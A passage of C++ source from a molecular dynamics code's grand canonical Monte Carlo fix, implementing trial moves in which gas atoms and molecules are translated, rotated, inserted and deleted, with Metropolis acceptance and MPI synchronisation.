sigma = sqrt(force->boltz*reservoir_temperature*tfac_insert/gas_mass/force->mvv2e);
if (pressure_flag) zz = pressure*fugacity_coeff*beta/force->nktv2p;
imagezero = ((imageint) IMGMAX << IMG2BITS) |
((imageint) IMGMAX << IMGBITS) | IMGMAX;
// warning if group id is "all"
if ((comm->me == 0) && (groupbit & 1))
error->warning(FLERR, "Fix gcmc is being applied "
"to the default group all");
// construct group bitmask for all new atoms
// aggregated over all group keywords
groupbitall = 1 | groupbit;
for (int igroup = 0; igroup < ngroups; igroup++) {
int jgroup = group->find(groupstrings[igroup]);
if (jgroup == -1)
error->all(FLERR,"Could not find specified fix gcmc group ID");
groupbitall |= group->bitmask[jgroup];
}
// construct group type bitmasks
// not aggregated over all group keywords
if (ngrouptypes > 0) {
memory->create(grouptypebits,ngrouptypes,"fix_gcmc:grouptypebits");
for (int igroup = 0; igroup < ngrouptypes; igroup++) {
int jgroup = group->find(grouptypestrings[igroup]);
if (jgroup == -1)
error->all(FLERR,"Could not find specified fix gcmc group ID");
grouptypebits[igroup] = group->bitmask[jgroup];
}
}
// Current implementation is broken using
// full_flag on molecules on more than one processor.
// Print error if this is the current mode
if (full_flag && (exchmode == EXCHMOL || movemode == MOVEMOL) && comm->nprocs > 1)
error->all(FLERR,"fix gcmc does currently not support full_energy option with molecules on more than 1 MPI process.");
}
/* ----------------------------------------------------------------------
attempt Monte Carlo translations, rotations, insertions, and deletions
done before exchange, borders, reneighbor
so that ghost atoms and neighbor lists will be correct
------------------------------------------------------------------------- */
void FixGCMC::pre_exchange()
{
// just return if should not be called on this timestep
if (next_reneighbor != update->ntimestep) return;
xlo = domain->boxlo[0];
xhi = domain->boxhi[0];
ylo = domain->boxlo[1];
yhi = domain->boxhi[1];
zlo = domain->boxlo[2];
zhi = domain->boxhi[2];
if (triclinic) {
sublo = domain->sublo_lamda;
subhi = domain->subhi_lamda;
} else {
sublo = domain->sublo;
subhi = domain->subhi;
}
if (regionflag) volume = region_volume;
else volume = domain->xprd * domain->yprd * domain->zprd;
if (triclinic) domain->x2lamda(atom->nlocal);
domain->pbc();
comm->exchange();
atom->nghost = 0;
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
if (full_flag) {
energy_stored = energy_full();
if (overlap_flag && energy_stored > MAXENERGYTEST)
error->warning(FLERR,"Energy of old configuration in "
"fix gcmc is > MAXENERGYTEST.");
for (int i = 0; i < ncycles; i++) {
int ixm = static_cast<int>(random_equal->uniform()*ncycles) + 1;
if (ixm <= nmcmoves) {
double xmcmove = random_equal->uniform();
if (xmcmove < patomtrans) attempt_atomic_translation_full();
else if (xmcmove < patomtrans+pmoltrans) attempt_molecule_translation_full();
else attempt_molecule_rotation_full();
} else {
double xgcmc = random_equal->uniform();
if (exchmode == EXCHATOM) {
if (xgcmc < 0.5) attempt_atomic_deletion_full();
else attempt_atomic_insertion_full();
} else {
if (xgcmc < 0.5) attempt_molecule_deletion_full();
else attempt_molecule_insertion_full();
}
}
}
if (triclinic) domain->x2lamda(atom->nlocal);
domain->pbc();
comm->exchange();
atom->nghost = 0;
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
} else {
for (int i = 0; i < ncycles; i++) {
int ixm = static_cast<int>(random_equal->uniform()*ncycles) + 1;
if (ixm <= nmcmoves) {
double xmcmove = random_equal->uniform();
if (xmcmove < patomtrans) attempt_atomic_translation();
else if (xmcmove < patomtrans+pmoltrans) attempt_molecule_translation();
else attempt_molecule_rotation();
} else {
double xgcmc = random_equal->uniform();
if (exchmode == EXCHATOM) {
if (xgcmc < 0.5) attempt_atomic_deletion();
else attempt_atomic_insertion();
} else {
if (xgcmc < 0.5) attempt_molecule_deletion();
else attempt_molecule_insertion();
}
}
}
}
next_reneighbor = update->ntimestep + nevery;
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_atomic_translation()
{
ntranslation_attempts += 1.0;
if (ngas == 0) return;
int i = pick_random_gas_atom();
int success = 0;
if (i >= 0) {
double **x = atom->x;
double energy_before = energy(i,ngcmc_type,-1,x[i]);
if (overlap_flag && energy_before > MAXENERGYTEST)
error->warning(FLERR,"Energy of old configuration in "
"fix gcmc is > MAXENERGYTEST.");
double rsq = 1.1;
double rx,ry,rz;
rx = ry = rz = 0.0;
double coord[3];
while (rsq > 1.0) {
rx = 2*random_unequal->uniform() - 1.0;
ry = 2*random_unequal->uniform() - 1.0;
rz = 2*random_unequal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
coord[0] = x[i][0] + displace*rx;
coord[1] = x[i][1] + displace*ry;
coord[2] = x[i][2] + displace*rz;
if (regionflag) {
while (domain->regions[iregion]->match(coord[0],coord[1],coord[2]) == 0) {
rsq = 1.1;
while (rsq > 1.0) {
rx = 2*random_unequal->uniform() - 1.0;
ry = 2*random_unequal->uniform() - 1.0;
rz = 2*random_unequal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
coord[0] = x[i][0] + displace*rx;
coord[1] = x[i][1] + displace*ry;
coord[2] = x[i][2] + displace*rz;
}
}
if (!domain->inside_nonperiodic(coord))
error->one(FLERR,"Fix gcmc put atom outside box");
double energy_after = energy(i,ngcmc_type,-1,coord);
if (energy_after < MAXENERGYTEST &&
random_unequal->uniform() <
exp(beta*(energy_before - energy_after))) {
x[i][0] = coord[0];
x[i][1] = coord[1];
x[i][2] = coord[2];
success = 1;
}
}
int success_all = 0;
MPI_Allreduce(&success,&success_all,1,MPI_INT,MPI_MAX,world);
if (success_all) {
if (triclinic) domain->x2lamda(atom->nlocal);
domain->pbc();
comm->exchange();
atom->nghost = 0;
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
ntranslation_successes += 1.0;
}
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_atomic_deletion()
{
ndeletion_attempts += 1.0;
if (ngas == 0 || ngas <= min_ngas) return;
int i = pick_random_gas_atom();
int success = 0;
if (i >= 0) {
double deletion_energy = energy(i,ngcmc_type,-1,atom->x[i]);
if (random_unequal->uniform() <
ngas*exp(beta*deletion_energy)/(zz*volume)) {
atom->avec->copy(atom->nlocal-1,i,1);
atom->nlocal--;
success = 1;
}
}
int success_all = 0;
MPI_Allreduce(&success,&success_all,1,MPI_INT,MPI_MAX,world);
if (success_all) {
atom->natoms--;
if (atom->tag_enable) {
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
}
atom->nghost = 0;
if (triclinic) domain->x2lamda(atom->nlocal);
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
ndeletion_successes += 1.0;
}
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_atomic_insertion()
{
double lamda[3];
ninsertion_attempts += 1.0;
if (ngas >= max_ngas) return;
// pick coordinates for insertion point
double coord[3];
if (regionflag) {
int region_attempt = 0;
coord[0] = region_xlo + random_equal->uniform() * (region_xhi-region_xlo);
coord[1] = region_ylo + random_equal->uniform() * (region_yhi-region_ylo);
coord[2] = region_zlo + random_equal->uniform() * (region_zhi-region_zlo);
while (domain->regions[iregion]->match(coord[0],coord[1],coord[2]) == 0) {
coord[0] = region_xlo + random_equal->uniform() * (region_xhi-region_xlo);
coord[1] = region_ylo + random_equal->uniform() * (region_yhi-region_ylo);
coord[2] = region_zlo + random_equal->uniform() * (region_zhi-region_zlo);
region_attempt++;
if (region_attempt >= max_region_attempts) return;
}
if (triclinic) domain->x2lamda(coord,lamda);
} else {
if (triclinic == 0) {
coord[0] = xlo + random_equal->uniform() * (xhi-xlo);
coord[1] = ylo + random_equal->uniform() * (yhi-ylo);
coord[2] = zlo + random_equal->uniform() * (zhi-zlo);
} else {
lamda[0] = random_equal->uniform();
lamda[1] = random_equal->uniform();
lamda[2] = random_equal->uniform();
// wasteful, but necessary
if (lamda[0] == 1.0) lamda[0] = 0.0;
if (lamda[1] == 1.0) lamda[1] = 0.0;
if (lamda[2] == 1.0) lamda[2] = 0.0;
domain->lamda2x(lamda,coord);
}
}
int proc_flag = 0;
if (triclinic == 0) {
domain->remap(coord);
if (!domain->inside(coord))
error->one(FLERR,"Fix gcmc put atom outside box");
if (coord[0] >= sublo[0] && coord[0] < subhi[0] &&
coord[1] >= sublo[1] && coord[1] < subhi[1] &&
coord[2] >= sublo[2] && coord[2] < subhi[2]) proc_flag = 1;
} else {
if (lamda[0] >= sublo[0] && lamda[0] < subhi[0] &&
lamda[1] >= sublo[1] && lamda[1] < subhi[1] &&
lamda[2] >= sublo[2] && lamda[2] < subhi[2]) proc_flag = 1;
}
int success = 0;
if (proc_flag) {
int ii = -1;
if (charge_flag) {
ii = atom->nlocal + atom->nghost;
if (ii >= atom->nmax) atom->avec->grow(0);
atom->q[ii] = charge;
}
double insertion_energy = energy(ii,ngcmc_type,-1,coord);
if (insertion_energy < MAXENERGYTEST &&
random_unequal->uniform() <
zz*volume*exp(-beta*insertion_energy)/(ngas+1)) {
atom->avec->create_atom(ngcmc_type,coord);
int m = atom->nlocal - 1;
// add to groups
// optionally add to type-based groups
atom->mask[m] = groupbitall;
for (int igroup = 0; igroup < ngrouptypes; igroup++) {
if (ngcmc_type == grouptypes[igroup])
atom->mask[m] |= grouptypebits[igroup];
}
atom->v[m][0] = random_unequal->gaussian()*sigma;
atom->v[m][1] = random_unequal->gaussian()*sigma;
atom->v[m][2] = random_unequal->gaussian()*sigma;
modify->create_attribute(m);
success = 1;
}
}
int success_all = 0;
MPI_Allreduce(&success,&success_all,1,MPI_INT,MPI_MAX,world);
if (success_all) {
atom->natoms++;
if (atom->tag_enable) {
atom->tag_extend();
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
}
atom->nghost = 0;
if (triclinic) domain->x2lamda(atom->nlocal);
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
ninsertion_successes += 1.0;
}
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_translation()
{
ntranslation_attempts += 1.0;
if (ngas == 0) return;
tagint translation_molecule = pick_random_gas_molecule();
if (translation_molecule == -1) return;
double energy_before_sum = molecule_energy(translation_molecule);
if (overlap_flag && energy_before_sum > MAXENERGYTEST)
error->warning(FLERR,"Energy of old configuration in "
"fix gcmc is > MAXENERGYTEST.");
double **x = atom->x;
double rx,ry,rz;
double com_displace[3],coord[3];
double rsq = 1.1;
while (rsq > 1.0) {
rx = 2*random_equal->uniform() - 1.0;
ry = 2*random_equal->uniform() - 1.0;
rz = 2*random_equal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
com_displace[0] = displace*rx;
com_displace[1] = displace*ry;
com_displace[2] = displace*rz;
if (regionflag) {
int *mask = atom->mask;
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == translation_molecule) {
mask[i] |= molecule_group_bit;
} else {
mask[i] &= molecule_group_inversebit;
}
}
double com[3];
com[0] = com[1] = com[2] = 0.0;
group->xcm(molecule_group,gas_mass,com);
coord[0] = com[0] + displace*rx;
coord[1] = com[1] + displace*ry;
coord[2] = com[2] + displace*rz;
while (domain->regions[iregion]->match(coord[0],coord[1],coord[2]) == 0) {
rsq = 1.1;
while (rsq > 1.0) {
rx = 2*random_equal->uniform() - 1.0;
ry = 2*random_equal->uniform() - 1.0;
rz = 2*random_equal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
coord[0] = com[0] + displace*rx;
coord[1] = com[1] + displace*ry;
coord[2] = com[2] + displace*rz;
}
com_displace[0] = displace*rx;
com_displace[1] = displace*ry;
com_displace[2] = displace*rz;
}
double energy_after = 0.0;
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == translation_molecule) {
coord[0] = x[i][0] + com_displace[0];
coord[1] = x[i][1] + com_displace[1];
coord[2] = x[i][2] + com_displace[2];
if (!domain->inside_nonperiodic(coord))
error->one(FLERR,"Fix gcmc put atom outside box");
energy_after += energy(i,atom->type[i],translation_molecule,coord);
}
}
double energy_after_sum = 0.0;
MPI_Allreduce(&energy_after,&energy_after_sum,1,MPI_DOUBLE,MPI_SUM,world);
if (energy_after_sum < MAXENERGYTEST &&
random_equal->uniform() <
exp(beta*(energy_before_sum - energy_after_sum))) {
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == translation_molecule) {
x[i][0] += com_displace[0];
x[i][1] += com_displace[1];
x[i][2] += com_displace[2];
}
}
if (triclinic) domain->x2lamda(atom->nlocal);
domain->pbc();
comm->exchange();
atom->nghost = 0;
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
ntranslation_successes += 1.0;
}
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_rotation()
{
nrotation_attempts += 1.0;
if (ngas == 0) return;
tagint rotation_molecule = pick_random_gas_molecule();
if (rotation_molecule == -1) return;
double energy_before_sum = molecule_energy(rotation_molecule);
if (overlap_flag && energy_before_sum > MAXENERGYTEST)
error->warning(FLERR,"Energy of old configuration in "
"fix gcmc is > MAXENERGYTEST.");
int *mask = atom->mask;
int nmolcoords = 0;
for (int i = 0; i < atom->nlocal; i++) {
if (atom->molecule[i] == rotation_molecule) {
mask[i] |= molecule_group_bit;
nmolcoords++;
} else {
mask[i] &= molecule_group_inversebit;
}
}
if (nmolcoords > nmaxmolatoms)
grow_molecule_arrays(nmolcoords);
double com[3];
com[0] = com[1] = com[2] = 0.0;
group->xcm(molecule_group,gas_mass,com);
// generate point in unit cube
// then restrict to unit sphere
double r[3],rotmat[3][3],quat[4];
double rsq = 1.1;
while (rsq > 1.0) {
r[0] = 2.0*random_equal->uniform() - 1.0;
r[1] = 2.0*random_equal->uniform() - 1.0;
r[2] = 2.0*random_equal->uniform() - 1.0;
rsq = MathExtra::dot3(r, r);
}
double theta = random_equal->uniform() * max_rotation_angle;
MathExtra::norm3(r);
MathExtra::axisangle_to_quat(r,theta,quat);
MathExtra::quat_to_mat(quat,rotmat);
double **x = atom->x;
imageint *image = atom->image;
double energy_after = 0.0;
int n = 0;
for (int i = 0; i < atom->nlocal; i++) {
if (mask[i] & molecule_group_bit) {
double xtmp[3];
domain->unmap(x[i],image[i],xtmp);
xtmp[0] -= com[0];
xtmp[1] -= com[1];
xtmp[2] -= com[2];
MathExtra::matvec(rotmat,xtmp,molcoords[n]);
molcoords[n][0] += com[0];
molcoords[n][1] += com[1];
molcoords[n][2] += com[2];
xtmp[0] = molcoords[n][0];
xtmp[1] = molcoords[n][1];
xtmp[2] = molcoords[n][2];
domain->remap(xtmp);
if (!domain->inside(xtmp))
error->one(FLERR,"Fix gcmc put atom outside box");
energy_after += energy(i,atom->type[i],rotation_molecule,xtmp);
n++;
}
}
double energy_after_sum = 0.0;
MPI_Allreduce(&energy_after,&energy_after_sum,1,MPI_DOUBLE,MPI_SUM,world);
if (energy_after_sum < MAXENERGYTEST &&
random_equal->uniform() <
exp(beta*(energy_before_sum - energy_after_sum))) {
int n = 0;
for (int i = 0; i < atom->nlocal; i++) {
if (mask[i] & molecule_group_bit) {
image[i] = imagezero;
x[i][0] = molcoords[n][0];
x[i][1] = molcoords[n][1];
x[i][2] = molcoords[n][2];
domain->remap(x[i],image[i]);
n++;
}
}
if (triclinic) domain->x2lamda(atom->nlocal);
domain->pbc();
comm->exchange();
atom->nghost = 0;
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
nrotation_successes += 1.0;
}
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_deletion()
{
ndeletion_attempts += 1.0;
if (ngas == 0 || ngas <= min_ngas) return;
// work-around to avoid n=0 problem with fix rigid/nvt/small
if (ngas == natoms_per_molecule) return;
tagint deletion_molecule = pick_random_gas_molecule();
if (deletion_molecule == -1) return;
double deletion_energy_sum = molecule_energy(deletion_molecule);
if (random_equal->uniform() <
ngas*exp(beta*deletion_energy_sum)/(zz*volume*natoms_per_molecule)) {
int i = 0;
while (i < atom->nlocal) {
if (atom->molecule[i] == deletion_molecule) {
atom->avec->copy(atom->nlocal-1,i,1);
atom->nlocal--;
} else i++;
}
atom->natoms -= natoms_per_molecule;
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
atom->nghost = 0;
if (triclinic) domain->x2lamda(atom->nlocal);
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
ndeletion_successes += 1.0;
}
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_insertion()
{
double lamda[3];
ninsertion_attempts += 1.0;
if (ngas >= max_ngas) return;
double com_coord[3];
if (regionflag) {
int region_attempt = 0;
com_coord[0] = region_xlo + random_equal->uniform() *
(region_xhi-region_xlo);
com_coord[1] = region_ylo + random_equal->uniform() *
(region_yhi-region_ylo);
com_coord[2] = region_zlo + random_equal->uniform() *
(region_zhi-region_zlo);
while (domain->regions[iregion]->match(com_coord[0],com_coord[1],
com_coord[2]) == 0) {
com_coord[0] = region_xlo + random_equal->uniform() *
(region_xhi-region_xlo);
com_coord[1] = region_ylo + random_equal->uniform() *
(region_yhi-region_ylo);
com_coord[2] = region_zlo + random_equal->uniform() *
(region_zhi-region_zlo);
region_attempt++;
if (region_attempt >= max_region_attempts) return;
}
if (triclinic) domain->x2lamda(com_coord,lamda);
} else {
if (triclinic == 0) {
com_coord[0] = xlo + random_equal->uniform() * (xhi-xlo);
com_coord[1] = ylo + random_equal->uniform() * (yhi-ylo);
com_coord[2] = zlo + random_equal->uniform() * (zhi-zlo);
} else {
lamda[0] = random_equal->uniform();
lamda[1] = random_equal->uniform();
lamda[2] = random_equal->uniform();
// wasteful, but necessary
if (lamda[0] == 1.0) lamda[0] = 0.0;
if (lamda[1] == 1.0) lamda[1] = 0.0;
if (lamda[2] == 1.0) lamda[2] = 0.0;
domain->lamda2x(lamda,com_coord);
}
}
// generate point in unit cube
// then restrict to unit sphere
double r[3],rotmat[3][3],quat[4];
double rsq = 1.1;
while (rsq > 1.0) {
r[0] = 2.0*random_equal->uniform() - 1.0;
r[1] = 2.0*random_equal->uniform() - 1.0;
r[2] = 2.0*random_equal->uniform() - 1.0;
rsq = MathExtra::dot3(r, r);
}
double theta = random_equal->uniform() * MY_2PI;
MathExtra::norm3(r);
MathExtra::axisangle_to_quat(r,theta,quat);
MathExtra::quat_to_mat(quat,rotmat);
double insertion_energy = 0.0;
bool *procflag = new bool[natoms_per_molecule];
for (int i = 0; i < natoms_per_molecule; i++) {
MathExtra::matvec(rotmat,onemols[imol]->x[i],molcoords[i]);
molcoords[i][0] += com_coord[0];
molcoords[i][1] += com_coord[1];
molcoords[i][2] += com_coord[2];
// use temporary variable for remapped position
// so unmapped position is preserved in molcoords
double xtmp[3];
xtmp[0] = molcoords[i][0];
xtmp[1] = molcoords[i][1];
xtmp[2] = molcoords[i][2];
domain->remap(xtmp);
if (!domain->inside(xtmp))
error->one(FLERR,"Fix gcmc put atom outside box");
procflag[i] = false;
if (triclinic == 0) {
if (xtmp[0] >= sublo[0] && xtmp[0] < subhi[0] &&
xtmp[1] >= sublo[1] && xtmp[1] < subhi[1] &&
xtmp[2] >= sublo[2] && xtmp[2] < subhi[2]) procflag[i] = true;
} else {
domain->x2lamda(xtmp,lamda);
if (lamda[0] >= sublo[0] && lamda[0] < subhi[0] &&
lamda[1] >= sublo[1] && lamda[1] < subhi[1] &&
lamda[2] >= sublo[2] && lamda[2] < subhi[2]) procflag[i] = true;
}
if (procflag[i]) {
int ii = -1;
if (onemols[imol]->qflag == 1) {
ii = atom->nlocal + atom->nghost;
if (ii >= atom->nmax) atom->avec->grow(0);
atom->q[ii] = onemols[imol]->q[i];
}
insertion_energy += energy(ii,onemols[imol]->type[i],-1,xtmp);
}
}
double insertion_energy_sum = 0.0;
MPI_Allreduce(&insertion_energy,&insertion_energy_sum,1,
MPI_DOUBLE,MPI_SUM,world);
if (insertion_energy_sum < MAXENERGYTEST &&
random_equal->uniform() < zz*volume*natoms_per_molecule*
exp(-beta*insertion_energy_sum)/(ngas + natoms_per_molecule)) {
tagint maxmol = 0;
for (int i = 0; i < atom->nlocal; i++) maxmol = MAX(maxmol,atom->molecule[i]);
tagint maxmol_all;
MPI_Allreduce(&maxmol,&maxmol_all,1,MPI_LMP_TAGINT,MPI_MAX,world);
maxmol_all++;
if (maxmol_all >= MAXTAGINT)
error->all(FLERR,"Fix gcmc ran out of available molecule IDs");
tagint maxtag = 0;
for (int i = 0; i < atom->nlocal; i++) maxtag = MAX(maxtag,atom->tag[i]);
tagint maxtag_all;
MPI_Allreduce(&maxtag,&maxtag_all,1,MPI_LMP_TAGINT,MPI_MAX,world);
int nlocalprev = atom->nlocal;
double vnew[3];
vnew[0] = random_equal->gaussian()*sigma;
vnew[1] = random_equal->gaussian()*sigma;
vnew[2] = random_equal->gaussian()*sigma;
for (int i = 0; i < natoms_per_molecule; i++) {
if (procflag[i]) {
atom->avec->create_atom(onemols[imol]->type[i],molcoords[i]);
int m = atom->nlocal - 1;
// add to groups
// optionally add to type-based groups
atom->mask[m] = groupbitall;
for (int igroup = 0; igroup < ngrouptypes; igroup++) {
if (ngcmc_type == grouptypes[igroup])
atom->mask[m] |= grouptypebits[igroup];
}
atom->image[m] = imagezero;
domain->remap(atom->x[m],atom->image[m]);
atom->molecule[m] = maxmol_all;
if (maxtag_all+i+1 >= MAXTAGINT)
error->all(FLERR,"Fix gcmc ran out of available atom IDs");
atom->tag[m] = maxtag_all + i + 1;
atom->v[m][0] = vnew[0];
atom->v[m][1] = vnew[1];
atom->v[m][2] = vnew[2];
atom->add_molecule_atom(onemols[imol],i,m,maxtag_all);
modify->create_attribute(m);
}
}
// FixRigidSmall::set_molecule stores rigid body attributes
// FixShake::set_molecule stores shake info for molecule
for (int submol = 0; submol < nmol; ++submol) {
if (rigidflag)
fixrigid->set_molecule(nlocalprev,maxtag_all,submol,com_coord,vnew,quat);
else if (shakeflag)
fixshake->set_molecule(nlocalprev,maxtag_all,submol,com_coord,vnew,quat);
}
atom->natoms += natoms_per_molecule;
if (atom->natoms < 0)
error->all(FLERR,"Too many total atoms");
atom->nbonds += onemols[imol]->nbonds;
atom->nangles += onemols[imol]->nangles;
atom->ndihedrals += onemols[imol]->ndihedrals;
atom->nimpropers += onemols[imol]->nimpropers;
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
atom->nghost = 0;
if (triclinic) domain->x2lamda(atom->nlocal);
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
update_gas_atoms_list();
ninsertion_successes += 1.0;
}
delete[] procflag;
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_atomic_translation_full()
{
ntranslation_attempts += 1.0;
if (ngas == 0) return;
double energy_before = energy_stored;
int i = pick_random_gas_atom();
double **x = atom->x;
double xtmp[3];
xtmp[0] = xtmp[1] = xtmp[2] = 0.0;
tagint tmptag = -1;
if (i >= 0) {
double rsq = 1.1;
double rx,ry,rz;
rx = ry = rz = 0.0;
double coord[3];
while (rsq > 1.0) {
rx = 2*random_unequal->uniform() - 1.0;
ry = 2*random_unequal->uniform() - 1.0;
rz = 2*random_unequal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
coord[0] = x[i][0] + displace*rx;
coord[1] = x[i][1] + displace*ry;
coord[2] = x[i][2] + displace*rz;
if (regionflag) {
while (domain->regions[iregion]->match(coord[0],coord[1],coord[2]) == 0) {
rsq = 1.1;
while (rsq > 1.0) {
rx = 2*random_unequal->uniform() - 1.0;
ry = 2*random_unequal->uniform() - 1.0;
rz = 2*random_unequal->uniform() - 1.0;
rsq = rx*rx + ry*ry + rz*rz;
}
coord[0] = x[i][0] + displace*rx;
coord[1] = x[i][1] + displace*ry;
coord[2] = x[i][2] + displace*rz;
}
}
if (!domain->inside_nonperiodic(coord))
error->one(FLERR,"Fix gcmc put atom outside box");
xtmp[0] = x[i][0];
xtmp[1] = x[i][1];
xtmp[2] = x[i][2];
x[i][0] = coord[0];
x[i][1] = coord[1];
x[i][2] = coord[2];
tmptag = atom->tag[i];
}
double energy_after = energy_full();
if (energy_after < MAXENERGYTEST &&
random_equal->uniform() <
exp(beta*(energy_before - energy_after))) {
energy_stored = energy_after;
ntranslation_successes += 1.0;
} else {
tagint tmptag_all;
MPI_Allreduce(&tmptag,&tmptag_all,1,MPI_LMP_TAGINT,MPI_MAX,world);
double xtmp_all[3];
MPI_Allreduce(&xtmp,&xtmp_all,3,MPI_DOUBLE,MPI_SUM,world);
for (int i = 0; i < atom->nlocal; i++) {
if (tmptag_all == atom->tag[i]) {
x[i][0] = xtmp_all[0];
x[i][1] = xtmp_all[1];
x[i][2] = xtmp_all[2];
}
}
energy_stored = energy_before;
}
update_gas_atoms_list();
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_atomic_deletion_full()
{
double q_tmp;
const int q_flag = atom->q_flag;
ndeletion_attempts += 1.0;
if (ngas == 0 || ngas <= min_ngas) return;
double energy_before = energy_stored;
const int i = pick_random_gas_atom();
int tmpmask;
if (i >= 0) {
tmpmask = atom->mask[i];
atom->mask[i] = exclusion_group_bit;
if (q_flag) {
q_tmp = atom->q[i];
atom->q[i] = 0.0;
}
}
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
double energy_after = energy_full();
if (random_equal->uniform() <
ngas*exp(beta*(energy_before - energy_after))/(zz*volume)) {
if (i >= 0) {
atom->avec->copy(atom->nlocal-1,i,1);
atom->nlocal--;
}
atom->natoms--;
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
ndeletion_successes += 1.0;
energy_stored = energy_after;
} else {
if (i >= 0) {
atom->mask[i] = tmpmask;
if (q_flag) atom->q[i] = q_tmp;
}
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
energy_stored = energy_before;
}
update_gas_atoms_list();
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_atomic_insertion_full()
{
double lamda[3];
ninsertion_attempts += 1.0;
if (ngas >= max_ngas) return;
double energy_before = energy_stored;
double coord[3];
if (regionflag) {
int region_attempt = 0;
coord[0] = region_xlo + random_equal->uniform() * (region_xhi-region_xlo);
coord[1] = region_ylo + random_equal->uniform() * (region_yhi-region_ylo);
coord[2] = region_zlo + random_equal->uniform() * (region_zhi-region_zlo);
while (domain->regions[iregion]->match(coord[0],coord[1],coord[2]) == 0) {
coord[0] = region_xlo + random_equal->uniform() * (region_xhi-region_xlo);
coord[1] = region_ylo + random_equal->uniform() * (region_yhi-region_ylo);
coord[2] = region_zlo + random_equal->uniform() * (region_zhi-region_zlo);
region_attempt++;
if (region_attempt >= max_region_attempts) return;
}
if (triclinic) domain->x2lamda(coord,lamda);
} else {
if (triclinic == 0) {
coord[0] = xlo + random_equal->uniform() * (xhi-xlo);
coord[1] = ylo + random_equal->uniform() * (yhi-ylo);
coord[2] = zlo + random_equal->uniform() * (zhi-zlo);
} else {
lamda[0] = random_equal->uniform();
lamda[1] = random_equal->uniform();
lamda[2] = random_equal->uniform();
// wasteful, but necessary
if (lamda[0] == 1.0) lamda[0] = 0.0;
if (lamda[1] == 1.0) lamda[1] = 0.0;
if (lamda[2] == 1.0) lamda[2] = 0.0;
domain->lamda2x(lamda,coord);
}
}
int proc_flag = 0;
if (triclinic == 0) {
domain->remap(coord);
if (!domain->inside(coord))
error->one(FLERR,"Fix gcmc put atom outside box");
if (coord[0] >= sublo[0] && coord[0] < subhi[0] &&
coord[1] >= sublo[1] && coord[1] < subhi[1] &&
coord[2] >= sublo[2] && coord[2] < subhi[2]) proc_flag = 1;
} else {
if (lamda[0] >= sublo[0] && lamda[0] < subhi[0] &&
lamda[1] >= sublo[1] && lamda[1] < subhi[1] &&
lamda[2] >= sublo[2] && lamda[2] < subhi[2]) proc_flag = 1;
}
if (proc_flag) {
atom->avec->create_atom(ngcmc_type,coord);
int m = atom->nlocal - 1;
// add to groups
// optionally add to type-based groups
atom->mask[m] = groupbitall;
for (int igroup = 0; igroup < ngrouptypes; igroup++) {
if (ngcmc_type == grouptypes[igroup])
atom->mask[m] |= grouptypebits[igroup];
}
atom->v[m][0] = random_unequal->gaussian()*sigma;
atom->v[m][1] = random_unequal->gaussian()*sigma;
atom->v[m][2] = random_unequal->gaussian()*sigma;
if (charge_flag) atom->q[m] = charge;
modify->create_attribute(m);
}
atom->natoms++;
if (atom->tag_enable) {
atom->tag_extend();
if (atom->map_style != Atom::MAP_NONE) atom->map_init();
}
atom->nghost = 0;
if (triclinic) domain->x2lamda(atom->nlocal);
comm->borders();
if (triclinic) domain->lamda2x(atom->nlocal+atom->nghost);
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
double energy_after = energy_full();
if (energy_after < MAXENERGYTEST &&
random_equal->uniform() <
zz*volume*exp(beta*(energy_before - energy_after))/(ngas+1)) {
ninsertion_successes += 1.0;
energy_stored = energy_after;
} else {
atom->natoms--;
if (proc_flag) atom->nlocal--;
if (force->kspace) force->kspace->qsum_qsq();
if (force->pair->tail_flag) force->pair->reinit();
energy_stored = energy_before;
}
update_gas_atoms_list();
}
/* ----------------------------------------------------------------------
------------------------------------------------------------------------- */
void FixGCMC::attempt_molecule_translation_full()
{
ntranslation_attempts += 1.0;
if (ngas == 0) return;
tagint translation_molecule = pick_random_gas_molecule();
if (translation_molecule == -1) return;
double energy_before = energy_stored;
